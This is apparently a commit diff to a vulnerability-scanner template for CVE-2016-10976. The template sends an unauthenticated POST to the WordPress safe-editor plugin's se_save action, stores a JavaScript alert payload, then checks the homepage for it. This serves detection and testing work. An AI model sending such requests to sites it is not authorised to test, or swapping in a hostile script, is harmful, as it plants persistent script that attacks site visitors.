fix-template
parent
09fa4fd549
commit
0a8878aba8
|
@ -4,20 +4,29 @@ info:
|
||||||
name: safe-editor <= 1.1 - Unauthenticated CSS/JS-injection
|
name: safe-editor <= 1.1 - Unauthenticated CSS/JS-injection
|
||||||
author: Splint3r7
|
author: Splint3r7
|
||||||
severity: medium
|
severity: medium
|
||||||
description: When saving JS/CSS in this plugin then both private and public ajax-hooks are being used. Because of this anyone can post JS/CSS that are saved to the db and printed to the head and footer portion of the page.
|
description: |
|
||||||
|
The safe-editor plugin before 1.2 for WordPress has no se_save authentication, with resultant XSS.
|
||||||
remediation: |
|
remediation: |
|
||||||
Update to the latest version of safe-editor plugin or apply the patch provided by the vendor.
|
Update to the latest version of safe-editor plugin or apply the patch provided by the vendor.
|
||||||
reference:
|
reference:
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2016-10976
|
- https://nvd.nist.gov/vuln/detail/CVE-2016-10976
|
||||||
|
- https://wordpress.org/plugins/safe-editor/#developers
|
||||||
|
- https://github.com/ARPSyndicate/cvemon
|
||||||
classification:
|
classification:
|
||||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||||||
cvss-score: 6.1
|
cvss-score: 6.1
|
||||||
cve-id: CVE-2016-10976
|
cve-id: CVE-2016-10976
|
||||||
cwe-id: CWE-79
|
cwe-id: CWE-79
|
||||||
|
epss-score: 0.00096
|
||||||
|
epss-percentile: 0.41555
|
||||||
cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:*
|
cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:*
|
||||||
metadata:
|
metadata:
|
||||||
max-request: 1
|
max-request: 2
|
||||||
tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan
|
vendor: kodebyraaet
|
||||||
|
product: safe_editor
|
||||||
|
framework: wordpress
|
||||||
|
tags: cve,cve2016,wordpress,plugin,xss,safeeditor
|
||||||
|
|
||||||
flow: http(1) && http(2)
|
flow: http(1) && http(2)
|
||||||
|
|
||||||
http:
|
http:
|
||||||
|
@ -27,7 +36,7 @@ http:
|
||||||
Host: {{Hostname}}
|
Host: {{Hostname}}
|
||||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
|
||||||
action=se_save&type=js&data=alert("XSS")
|
action=se_save&type=js&data=alert("document.domain")
|
||||||
|
|
||||||
matchers:
|
matchers:
|
||||||
- type: dsl
|
- type: dsl
|
||||||
|
@ -36,16 +45,17 @@ http:
|
||||||
- 'status_code == 200'
|
- 'status_code == 200'
|
||||||
- 'len(content_Length) == 0'
|
- 'len(content_Length) == 0'
|
||||||
- 'contains(content_type, "text/html")'
|
- 'contains(content_type, "text/html")'
|
||||||
|
condition: and
|
||||||
|
internal: true
|
||||||
|
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}"
|
- "{{BaseURL}}"
|
||||||
matchers-condition: and
|
|
||||||
matchers:
|
matchers:
|
||||||
- type: dsl
|
- type: dsl
|
||||||
dsl:
|
dsl:
|
||||||
- 'status_code_2 == 200'
|
- 'status_code == 200'
|
||||||
- 'contains(content_type_2, "text/html")'
|
- 'contains(content_type, "text/html")'
|
||||||
- 'contains(body_2, "alert(\"XSS\")")'
|
- 'contains_all(body, "alert(\"document.domain\")", "save_edit_js")'
|
||||||
- 'contains(body_2, "save_edit_js")'
|
condition: and
|
||||||
condition: and
|
|
||||||
|
|
Loading…
Reference in New Issue